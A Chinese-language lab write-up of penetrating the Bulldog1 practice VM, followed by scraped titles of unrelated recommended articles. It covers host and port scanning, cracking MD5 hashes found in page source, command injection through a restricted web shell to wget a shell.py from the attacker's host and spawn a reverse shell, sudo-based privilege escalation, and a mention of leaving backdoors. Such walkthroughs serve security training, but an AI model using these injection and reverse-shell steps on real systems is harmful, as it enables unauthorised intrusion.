目录

一. 实验环境

二. 实验流程

三. 实验步骤

(1)信息收集——主机发现

(2)信息收集——端口扫描

(3)信息收集——操作系统扫描

(4)Web渗透

四. 实验总结


一. 实验环境

  • 靶机:IP地址暂时未知;
  • 测试机:kali  IP地址:192.168.37.131
  • 测试机:物理机win7

二. 实验流程

  • 信息收集——主机发现
  • 信息收集——端口扫描
  • 信息收集——操作系统扫描
  • Web渗透

三. 实验步骤

(1)信息收集——主机发现

1. 查看Kali的IP信息;(IP:192.168.37.131)

2. 扫描主机(netdiscover)

netdiscover -i eth0 -r 192.168.37.0/24

Netdiscover: -i 指定网卡 -r 指定网段

  • 找到目标主机IP:192.168.37.141
  • 也可以使用nmap进行主机发现,在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

(2)信息收集——端口扫描

1. 扫描端口(masscan)

masscan --rate=10000 --ports 0-65535 192.168.37.139

masscan --rate=每秒多少个数据包 --ports 端口范围  IP地址/IP地址段

  • Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次;

2. 扫描端口的详细信息(nmap)

nmap -sV -T4 -p 23,80,8080 192.168.37.141

  • 其中:-T4指定扫描过程中使用的时序(分为0-5等级);
  • -sV扫描版本的信息和开启的服务;
  • 也可以选择带-A参数,详细扫描开放端口的具体服务;
  • 与masscan相比,namp更详细,但是速度较慢(可以通过masscan快速扫描开放的端口,再使用nmap扫描具体开放的端口);
  • 可以发现192.168.37.141主机开启了23(ssh服务),80(http服务),8080(http)端口;

(3)信息收集——操作系统扫描

1. 扫描操作系统的信息(nmap)

nmap -O 192.168.37.141

(4)Web渗透

80端口(http服务)

1. 发现目标开启http服务,访问80端口

2. 查看可以点击的内容;

点击Bulldog Industries

点击Public Notice

  • 访问网页上可以点击的信息,没有发现什么有价值的信息,继续探索;

3. 网站指纹信息扫描

whatweb 192.168.37.141

  • Web指纹扫描用于识别目标所运行的web软件、后端服务器、编程语言等特征,实现对目标的web应用的准确标识。
  • 应用名称(版本)、服务器软件(版本)、编程语言(版本)、应用框架(版本)四大特征的识别。

4. 目录扫描(dirb)

dirb http://192.168.37.141

  • 扫描Web目录,可以发现潜在的渗透目标;
  • 发现/admin/auth/group , /admin/auth/user , /admin/login , /dev/shell 等目录;
  • 该工具根据用户提供的字典,对目标网站目录进行暴力猜测。尝试以递归方式进行爆破,以发现更多的路径;

5. 查看扫描到的web目录

5.1> 访问http://192.168.37.141/admin/

并尝试弱口令登录,SQL注入;

  • 发现网站的登录页面;
  • 尝试弱口令登录,没有成功;
  • 尝试SQL注入,没有成功;
  • 这里可以尝试使用暴力破解登录账号和密码;

5.2> 访问http://192.168.37.141/dev/

  • 翻译页面的信息可知:
  • 完全从新服务器中删除PHP。此外,不使用PHPMyAdmin或任何其他流行的CMS系统;
  • 新网站将完全用Django语言编写。目前,系统上启用了SSH。当我们转换到使用Web-Shell(一个专有的shell接口)时,这个选项将被关闭;
  • 此外,请注意我们将开始使用MongoDB,但是我们还没有完全安装它;

点击UNDER DEVELOPMENT,返回到主页;

点击Web-Shell,需要与服务器建立认证;

  • 好像也没有发现什么有价值的信息;

6. 查看前端页面的代码

6.1> 查看http://192.168.37.141/admin/的前端代码

  • 没有发现可以突破的信息;

6.2> 查看http://192.168.37.141/dev/的前端代码

发现了许多疑似加密的密码,尝试进行MD5破解;

  • 分析源码可以猜测:

用户名为nick,密码为bulldog;

用户名为sarah,密码为bulldoglover;

7. 尝试进行登录主页

用户名为nick,密码为bulldog;

用户名为sarah,密码为bulldoglover;

认证成功之后,尝试访问http://192.168.37.141/dev/shell/;

8. 获取shell

8.1> 发现只能使用给定的几个命令;尝试命令注入;

8.2> 可以进行命令注入后,尝试wget是否有权限;

在测试机Kali上执行python -m SimpleHTTPServer 80,搭建简易Web服务;

输入如下命令:pwd & wget http://192.168.37.131;

在Kali上监听到访问记录;证明wget有权限;

8.3> 将python shell脚本下载到目标靶机系统;

在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);

输入如下命令:pwd & wget http://192.168.37.131/shell.py;

成功将shell.py下载到目标系统;

8.4> python反弹shell,获取目标shell;

在测试机Kali上执行python -m SimpleHTTPServer 80,搭建简易Web服务;

监听1234端口;

在webshell上执行如下命令:pwd & wget ls & python shell.py;

在kali上进行查看;已经成功获取到目标shell;

9. 提权操作

9.1> 查看系统中的用户;需要关注的用户bulldogadmin,django;

9.2> 进入用户bulldogadmin的家目录下,查看家目录下有什么文件;

发现一个隐藏目录 .hiddenadmindirectory

该隐藏目录下存在两个文件,一个note提示,一个可执行文件;查看两个文件的内容;

利用strings查看可执行文件中的内容;(strings命令用来提取和显示非文本文件中的文本字符串)

猜测可能是密码,应为SUPER、 ulitimate、PASSWORD、youCANTget, 可以把他们连到一起正好是SUPERultimatePASSWORDyouCANTget,H是来混淆的,中间刚好有PADDWORD;

9.3> 尝试用获取的密码登录;

su命令不能执行;

用python命令打开一个新的终端,尝试进行提权,输入命令:sudo python -c 'import pty; pty.spawn("/bin/bash")';

进行其他操作,留后门等;

四. 实验总结

  1. 针对目录爆破出dev和admin页面:通过查看页面可以点击的超链接,说明,源代码等获取可用的信息,即登录用户名和密码;
  2. 登录成功后,获取webshell,并使用命令执行漏洞绕过白名单限制,执行命令和python反弹shell;
  3. 搭建临时web服务(python -m SimpleHTTPServer 80)
  4. 成功获取目标主机shell后,搜索系统中id为1000以后的用户的文件,可以找到隐藏文件(猜解root密码),进行提权操作;

靶机渗透测试实战(三)——Bulldog1渗透实战相关推荐

  1. 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试

    Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...

  2. 网络渗透测试实验三 XSS和SQL

    网络渗透测试实验三 XSS和SQL注入 实验目的:了解什么是XSS:思考防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计中避免出现SQL注入漏 ...

  3. 网络渗透测试实验三——XSS和SQL注入

    网络渗透测试实验三--XSS和SQL注入 实验目的 了解什么是XSS:了解XSS攻击实施,理解防御XSS攻击的方法:了解SQL注入的基本原理:掌握PHP脚本访问MySQL数据库的基本方法:掌握程序设计 ...

  4. 渗透测试入门27之渗透测试学习建议

    最近发现很多小伙伴都在问我想要学习渗透测试,但是不知道怎么开始,也不知道要学习什么?所以在这里我打算分享一下我的渗透学习之路以及给初学者的一些建议. 我的学习之路 转眼间,我从学习渗透测试到工作也快六 ...

  5. 通用渗透测试框架、简化渗透测试流程

    文章目录 通用渗透测试框架 简化的渗透测试流程 黑客攻击的一般过程 通用渗透测试框架 从技术管理的角度来看,遵循正规的测试框架对安全测试极为重要.通用渗透测试框架涵盖了典型的审计测试工作和渗透测试工作 ...

  6. 渗透测试入门13之渗透测试流程

    前言      本系列文章只做技术研究与分享,如有恶意利用文章中提及的技术做网络攻击,造成的法律责任,作者概不负责! 渗透测试的流程 (1)渗透测试目标以及界线的明确 在进行渗透测试之前,需要与客户就 ...

  7. 渗透测试入门12之渗透测试简介

    前言     本系列文章只做技术研究与分享,如有恶意利用文章中提及的技术做网络攻击,造成的法律责任,作者概不负责! 渗透测试的定义       渗透测试是受信任的第三方通过模拟黑客可能使用的攻击手段对 ...

  8. 什么是渗透测试?| 什么是渗透测试?

    什么是渗透测试? 渗透测试是一项安全演习,网络安全专家尝试查找和利用计算机系统中的漏洞.模拟攻击的目的是识别攻击者可以利用的系统防御中的薄弱环节. 这就像银行雇用别人假装盗匪,让他们试图闯入建筑物并进 ...

  9. 螣龙安科笔记:内网渗透测试(三)

    经过前两篇文章的介绍,相信大家对于内网渗透测试的一些基础知识已经有了足够的了解,这篇文章就将带你一起来了解内网渗透测试的全过程. (四)内网渗透流程 1.渗透工具准备 1.1扫描工具 1.1.1主动扫 ...

  10. 渗透测试入门24之渗透测试参考书、课程、工具、认证

    白帽子渗透测试入门资源:参考书.课程.工具.认证文章目录 前言 名词解析 Pwk课程与OSCP证书 CTF 工具 参考书 相关文献推荐 资源打包前言 初入渗透测试领域,过程中遇到不少错综复杂的知识,也 ...

最新文章

  1. MySQL 性能优化,索引和查询优化
  2. 初识tmux---编译安装tmux
  3. C#字数统计(字母、数字、汉字、符号)
  4. php使用supervisor管理进程脚本
  5. 《构建之法》 读书笔记(3)
  6. 论文浅尝 | Knowledge Vault: 全网规模的知识概率融合方法
  7. 机器分配(信息学奥赛一本通-T1266)
  8. C#设计模式之20-状态模式
  9. hadoop hdfs 单机配置
  10. ImportREC重建输入表
  11. 如何在学习中找到乐趣?怎样才能找到学习的乐趣
  12. 公云(3322)动态域名更新API
  13. ‘lengths‘ argument should be a 1D CPU int64 tensor, but got 1D cuda:0 Long tensor
  14. 更好的一个简繁体转换。记录一下
  15. JS对象基础-怎么理解对象
  16. [ Azure - IAM ] Azure 中的基于角色的访问控制 (RBAC) 与基于属性的访问控制 (ABAC)
  17. Eclipse打开报错,The Eclipse executable launcher was unable to locate its companion shared library.
  18. 【重新定义matlab强大系列三】MATLAB清洗离群数据(查找、填充或删除离群值)
  19. 在Debian环境下架设PPPoE效劳器-2
  20. esp8266驱动四脚oled显示文字和图片

热门文章

  1. 福师大计算机考研分数,福建师范大学2019年考研复试分数线已公布
  2. 要只看每日减少的新增数量,别忘了疫情最开始的时候可能也只有几个人患病
  3. HINet | 性能炸裂,旷视科技提出适用于low-level问题的Half Instance Normalization
  4. 苹果cms v8模板仿q2002电影网站电脑手机自适应模板
  5. Android平台以WebView方式集成H5+SDK和支付宝登录授权插件开发思路总结
  6. Spring Cloud Contract实践
  7. ParameterResolutionException单元测试方法中添加了参数,这是不允许的
  8. IT运维审计:新手入门之服务器运维操作要点
  9. Mysql全站最全笔记,从入门到资深!
  10. word中套用表格样式在哪里_在Word中,关于“套用表格样式”的用法,下列说法正确的是()...